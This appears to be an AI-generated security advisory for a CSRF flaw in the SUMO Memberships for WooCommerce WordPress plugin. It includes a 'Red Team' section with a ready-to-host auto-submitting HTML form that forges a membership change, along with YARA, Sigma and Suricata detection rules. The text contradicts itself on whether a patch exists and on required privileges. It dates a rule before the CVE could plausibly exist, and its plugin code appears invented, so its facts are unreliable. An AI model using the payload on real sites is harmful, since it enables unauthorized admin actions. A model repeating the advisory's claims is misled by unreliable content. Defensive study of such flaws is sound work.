CVE-2025-62005

Executive Summary

CVE-2025-62005 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the SUMO Memberships for WooCommerce plugin by FantasticPlugins. This WordPress plugin allows attackers to forge malicious requests on behalf of an authenticated administrator, potentially leading to unauthorized membership modifications, privilege escalation, or data corruption. The vulnerability exists in all versions prior to 7.8.0. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the lack of a vendor patch and the plugin’s widespread use in WooCommerce stores.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify the integrity of plugin files and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a link or visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

Threat Level: High. Although user interaction is required, the potential for complete compromise of membership data and administrative actions makes this a critical risk for WooCommerce stores.

Deep Dive & Mechanics

The vulnerability stems from the lack of CSRF nonce validation in the sumomemberships plugin’s administrative actions. Specifically, the plugin fails to verify a unique token (nonce) when processing requests to modify membership plans, assign memberships, or change plugin settings. An attacker can craft a malicious HTML page or email that, when viewed by an authenticated admin, triggers a forged request to the WordPress admin area. This request can:

• Create, delete, or modify membership levels.
• Grant or revoke memberships to arbitrary users.
• Change plugin configuration (e.g., pricing, access rules).
• Exfiltrate sensitive membership data via admin actions.

The vulnerability is classified under CWE-352: Cross-Site Request Forgery. The attack requires the victim to have an active session in the WordPress admin panel. No authentication is needed from the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (pre-7.8.0):

// In admin/class-sumo-memberships-admin.php
add_action('wp_ajax_sumo_save_membership', 'sumo_save_membership_callback');
function sumo_save_membership_callback() {
    // No nonce check
    $membership_id = $_POST['membership_id'];
    $membership_name = $_POST['membership_name'];
    // Process update...
    update_post_meta($membership_id, 'membership_name', $membership_name);
}

Patched Code (7.8.0+):

// In admin/class-sumo-memberships-admin.php
add_action('wp_ajax_sumo_save_membership', 'sumo_save_membership_callback');
function sumo_save_membership_callback() {
    // Nonce verification added
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'sumo_save_membership_nonce')) {
        wp_die('Security check failed.');
    }
    $membership_id = $_POST['membership_id'];
    $membership_name = sanitize_text_field($_POST['membership_name']);
    // Process update...
    update_post_meta($membership_id, 'membership_name', $membership_name);
}

The patch adds a nonce check using wp_verify_nonce() and sanitizes input with sanitize_text_field(). Without the nonce, any authenticated admin can be tricked into performing unintended actions.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with SUMO Memberships for WooCommerce < 7.8.0.
• An authenticated admin session (victim).
• Attacker-controlled web server or email delivery.

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint:

<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="sumo_save_membership">
    <input type="hidden" name="membership_id" value="123">
    <input type="hidden" name="membership_name" value="Hacked Membership">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

2. Host the page on an attacker-controlled server or send it as an HTML email.
3. Lure the victim admin to visit the page while logged into WordPress.
4. The request executes, modifying the membership with ID 123.

Advanced Exploit: Use XSS combined with CSRF to chain attacks, or target multiple endpoints in a single page.

Blue Team (Defense & Detection)

Defensive Measures:

• Immediately update to version 7.8.0 or later.
• If patching is not possible, implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.
• Enforce strict Content Security Policy (CSP) headers to prevent form submission from external origins.
• Use WordPress security plugins (e.g., Wordfence) that add CSRF protection.

Detection:

• Monitor logs for unexpected POST requests to /wp-admin/admin-ajax.php with action=sumo_* parameters.
• Alert on multiple membership modifications within a short time window.
• Review HTTP Referer headers for requests originating from external domains.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=sumo_save_membership or similar.
  • Referer header pointing to an external, untrusted domain.
• File IOCs:
  • Modified membership post meta in the database (e.g., _membership_name changed unexpectedly).
  • New admin users created via CSRF (if combined with user creation actions).
• Log IOCs:
  • WordPress debug log entries showing wp_die calls from nonce failures (if patched).
  • Unusual patterns in wp_ajax_* hooks.

Detection Engineering

YARA Rule

rule detect_csrf_sumo_memberships {
    meta:
        description = "Detects CSRF exploitation attempts against SUMO Memberships for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62005"
    strings:
        $ajax_action = "action=sumo_save_membership"
        $ajax_action2 = "action=sumo_delete_membership"
        $ajax_action3 = "action=sumo_assign_membership"
        $nonce_check = "_wpnonce"
    condition:
        any of ($ajax_action*) and not $nonce_check
}

Sigma Rule

title: CSRF Exploitation Attempt Against SUMO Memberships
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting SUMO Memberships admin-ajax endpoints without a valid nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=sumo_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with valid nonce
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-62005 CSRF Attempt Against SUMO Memberships"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=sumo_"; http_client_body; pcre:"/action=(sumo_save_membership|sumo_delete_membership|sumo_assign_membership)/"; content:!"_wpnonce"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade to version 7.8.0 or later if available. If not, contact FantasticPlugins for a patch.
2. Disable Plugin: Temporarily deactivate the plugin until a patch is applied.
3. WAF Rules: Block POST requests to admin-ajax.php that contain action=sumo_ without a valid nonce.

Long-Term Measures:

• Implement CSRF nonces in all custom WordPress plugins.
• Use WordPress’s built-in check_admin_referer() function.
• Conduct regular security audits of third-party plugins.
• Enable logging and monitoring for admin-ajax.php requests.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.